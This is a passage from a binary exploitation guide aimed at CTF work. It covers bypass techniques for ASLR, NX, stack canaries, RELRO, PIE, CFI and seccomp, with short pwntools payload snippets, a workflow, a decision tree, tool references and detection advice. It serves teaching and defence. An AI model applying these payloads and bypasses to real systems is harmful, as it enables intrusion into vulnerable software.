| Information leak | Format string, partial read | Leak libc/stack/heap address, calculate base |
| Partial overwrite | Overflow | Overwrite low 1-2 bytes (known due to page alignment), 4-12 bit bruteforce |
| GOT/PLT reuse | No PIE binary | Binary's own GOT/PLT entries are at fixed addresses |
| ret2plt | No PIE | Call PLT stubs without knowing libc base |
| DynELF (pwntools) | Arbitrary read + known binary | Remotely resolve symbols by parsing ELF structures |
| vsyscall page | x86-64 Linux | Fixed address 0xffffffffff600000 (limited gadgets, being phased out) |
| Bruteforce | 32-bit / forking server | ~16 bits entropy on 32-bit, fork() preserves layout |
| Side channels | Local access | /proc/self/maps, cache timing, ASLR entropy reduction |
Libc base calculation:
# Leak puts@GOT -> actual puts address
leaked_puts = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leaked_puts - libc.sym['puts']
# Verify: libc_base should end in 000 (page-aligned)
assert libc_base & 0xfff == 0
8.2 DEP/NX (Data Execution Prevention / No-Execute)
What it does: Mark data regions (stack, heap, .bss) as non-executable. Prevents direct shellcode injection.
Bypass techniques:
- ROP/JOP: Chain existing executable code gadgets (see Section 3)
- ret2libc: Call
system(),execve(),mprotect()via ROP - mprotect ROP: Make stack/heap executable, then jump to shellcode:
rop.call('mprotect', [shellcode_page, 0x1000, 7]) # PROT_READ|WRITE|EXEC
rop.raw(shellcode_addr)
- ret2dlresolve: Resolve arbitrary libc symbols without leak
- SROP: Set all registers via sigreturn, call mprotect or execve
8.3 Stack Canaries
What it does: Random value placed between local variables and saved RBP/return address. Checked before function return; mismatch triggers __stack_chk_fail -> abort.
Properties (x86-64 Linux):
- 8 bytes, always ends in
\x00(null byte, to prevent string function leaks) - Stored in
fs:[0x28](TLS), loaded at function prologue, verified at epilogue - Same canary value for all functions within a thread
Bypass techniques:
| Technique | Method |
|---|---|
| Info leak | Format string, read-based leak to obtain canary value |
| Byte-by-byte bruteforce | Forking servers: fork preserves canary, bruteforce 1 byte at a time (256 * 7 = max 1792 attempts) |
Overwrite __stack_chk_fail GOT |
If GOT is writable, redirect failure handler |
| Non-return control flow | Overwrite function pointers, vtables, longjmp buffers (never triggers canary check) |
| Stack pivot | Redirect RSP before canary check |
| Thread-local canary overwrite | Buffer overflow reaching fs:[0x28] in TLS |
| Exception handlers | Overwrite C++ exception handler or SEH (Windows) before canary check |
# Canary leak + bypass
canary = u64(p.recv(8)) # leaked via format string
payload = b'A' * buf_size
payload += p64(canary) # correct canary
payload += b'B' * 8 # saved RBP
payload += p64(target_addr) # return address
8.4 RELRO (Relocation Read-Only)
Partial RELRO (default): GOT is writable, .init_array/.fini_array/.dynamic are read-only.
- Bypass: GOT overwrite still works
Full RELRO: GOT is resolved at load time and made read-only.
- Bypass: Cannot overwrite GOT. Target other writable function pointers:
__malloc_hook/__free_hook(removed in glibc 2.34)__exit_funcs(atexit handlers)_IO_FILEvtable pointers (restricted in glibc >= 2.24)- Stack return addresses
- C++ vtable pointers
- Custom function pointer tables in application data
8.5 PIE (Position-Independent Executable)
What it does: Randomizes the binary's base address (extends ASLR to the main executable).
Bypass techniques:
- Leak any binary address -> calculate PIE base (page-aligned)
- Partial overwrite: Low 12 bits are fixed (page offset), overwrite 1-2 bytes for 4-8 bit bruteforce
- Same info leak methods as ASLR bypass
8.6 CFI (Control-Flow Integrity) & Shadow Stacks
Forward-edge CFI (indirect calls/jumps):
- Validates that indirect call targets match expected type signatures
- Bypass: Find valid call targets that happen to be useful (e.g., call target that leads to controllable function pointer dispatch)
- Bypass: Data-only attacks that don't hijack control flow (e.g., overwrite non-code-pointer data to change program behavior)
- Bypass: Type confusion to find targets that pass CFI checks but have unexpected behavior
Backward-edge CFI (returns):
- Shadow stack (CET on Intel, PAC on ARM): Separate hardware-protected stack stores return addresses. Return instructions verify return address matches shadow stack.
- Bypass: Intel CET shadow stack exceptions for signal handling can be exploited
- Bypass: ARM PAC (Pointer Authentication): signing key reuse, PAC oracle attacks (CVE-2023-42824), speculative execution to bypass checks
- Bypass: Don't corrupt return addresses at all -- target forward-edge pointers instead
Data-oriented programming (DOP): When CFI blocks all code pointer corruption, manipulate non-code data to achieve exploitation goals:
- Change
is_adminflags, file path strings, size variables - Chain data-oriented gadgets for Turing-complete computation without hijacking control flow
8.7 Fortify Source
What it does: Compile-time and runtime buffer overflow checks for common functions (memcpy, strcpy, etc.) when buffer sizes are known.
Bypass: Functions where buffer size cannot be statically determined are not fortified. Heap-based overflows, dynamically-sized buffers, and indirect buffer references bypass FORTIFY.
8.8 Seccomp (Secure Computing)
What it does: Restricts available syscalls. Strict mode: only read, write, exit, sigreturn. Filter mode: BPF-based syscall filtering.
Bypass techniques:
- Permitted syscall abuse:
mprotect+readfor shellcode,open+read+writefor file exfiltration openat2/openatvsopenfilter gaps- Architecture confusion: x86-64 process can use 32-bit syscall numbers via
int 0x80(if not filtered) prctl+seccompchaining errors- Race conditions in filter installation
9. Methodology & Workflow
9.1 CTF Binary Exploitation Workflow
1. RECON
checksec ./binary # protections
file ./binary # arch, linking
strings ./binary # interesting data
Ghidra / r2 analysis # decompile, understand logic
2. IDENTIFY VULNERABILITY
- Trace user input to memory operations
- Find buffer overflow, format string, UAF, heap corruption
- Note: what protections are enabled affects exploit strategy
3. DETERMINE EXPLOIT STRATEGY
+-----------------+-----------------------------------+
| Protections | Strategy |
+-----------------+-----------------------------------+
| None | Shellcode injection |
| NX only | ret2libc / ROP |
| NX + ASLR | Info leak -> ret2libc / ROP |
| NX + ASLR + PIE | Info leak (binary + libc) -> ROP |
| + Canary | Leak canary + above |
| + Full RELRO | Target non-GOT pointers |
| + CFI | Data-only attacks / DOP |
+-----------------+-----------------------------------+
4. DEVELOP EXPLOIT
- Determine offsets (cyclic pattern / manual calculation)
- Build info leak if needed (format string, partial read)
- Construct payload (shellcode / ROP chain / heap layout)
- Handle encoding constraints (bad bytes, length limits)
5. TEST & DEBUG
gdb -q ./binary
# Set breakpoints at key locations
# Verify each exploit stage independently
# Check stack alignment for x86-64
6. ADAPT FOR REMOTE
- Different libc version -> adjust offsets
- Network vs. stdin -> adjust I/O handling
- Timing / buffering differences
9.2 Decision Tree: Which Technique?
Vulnerability found
|
+-- Buffer overflow on stack?
| +-- NX disabled? -> Shellcode injection
| +-- NX enabled?
| +-- ASLR disabled? -> ret2libc / ROP (hardcoded addresses)
| +-- ASLR enabled?
| +-- Have info leak? -> Leak libc base -> ret2libc / one_gadget
| +-- No info leak?
| +-- PIE disabled? -> ret2plt / ret2dlresolve
| +-- PIE enabled? -> Partial overwrite bruteforce
|
+-- Format string?
| +-- Leak addresses -> ASLR bypass
| +-- GOT overwrite (if partial RELRO)
| +-- Arbitrary write -> return address / hook overwrite
|
+-- Heap vulnerability?
| +-- UAF? -> Tcache/fastbin poisoning -> arbitrary alloc
| +-- Overflow? -> Chunk metadata corruption -> house-of techniques
| +-- Double free? -> Overlapping allocations -> code pointer overwrite
|
+-- Kernel vulnerability?
+-- UAF? -> Cross-cache spray + cred/modprobe_path overwrite
+-- Overflow? -> Adjacent object corruption -> ROP / data-only
+-- Race? -> userfaultfd/FUSE to widen window
9.3 Essential References
| Resource | URL | Focus |
|---|---|---|
| how2heap | github.com/shellphish/how2heap | Heap exploitation techniques with PoCs |
| pwntools docs | docs.pwntools.com | Exploit development framework API |
| ir0nstone notes | ir0nstone.gitbook.io/notes | Stack exploitation walkthroughs |
| linux-kernel-exploitation | github.com/xairy/linux-kernel-exploitation | Kernel exploit research index |
| kernel-exploit-factory | github.com/bsauce/kernel-exploit-factory | Working kernel exploit reproductions |
| ROPgadget | github.com/JonathanSalwan/ROPgadget | Gadget search and chain generation |
| one_gadget | github.com/david942j/one_gadget | Single-gadget RCE in libc |
| Ghidra | github.com/NationalSecurityAgency/ghidra | Decompilation and RE platform |
| radare2 / Rizin | github.com/radareorg/radare2 | CLI RE framework |
| angr | github.com/angr/angr | Symbolic execution for automated solving |
| pwndbg | github.com/pwndbg/pwndbg | GDB plugin for exploit development |
| GEF | github.com/hugsy/gef | GDB plugin, zero-dependency |
DETECTION OPPORTUNITIES (Purple layer): Binary exploitation leaves forensic artifacts -- core dumps, crash logs in /var/log/, unusual mprotect/mmap syscalls, ROP-characteristic call stacks (many small returns), heap corruption detection via malloc debug (MALLOC_CHECK_, AddressSanitizer). Monitor for: anomalous execve from unexpected parents, privilege changes (audit setuid/setgid syscalls), /proc/self/maps reads from non-debugger processes, and prctl(PR_SET_NAME) used to masquerade process names post-exploitation.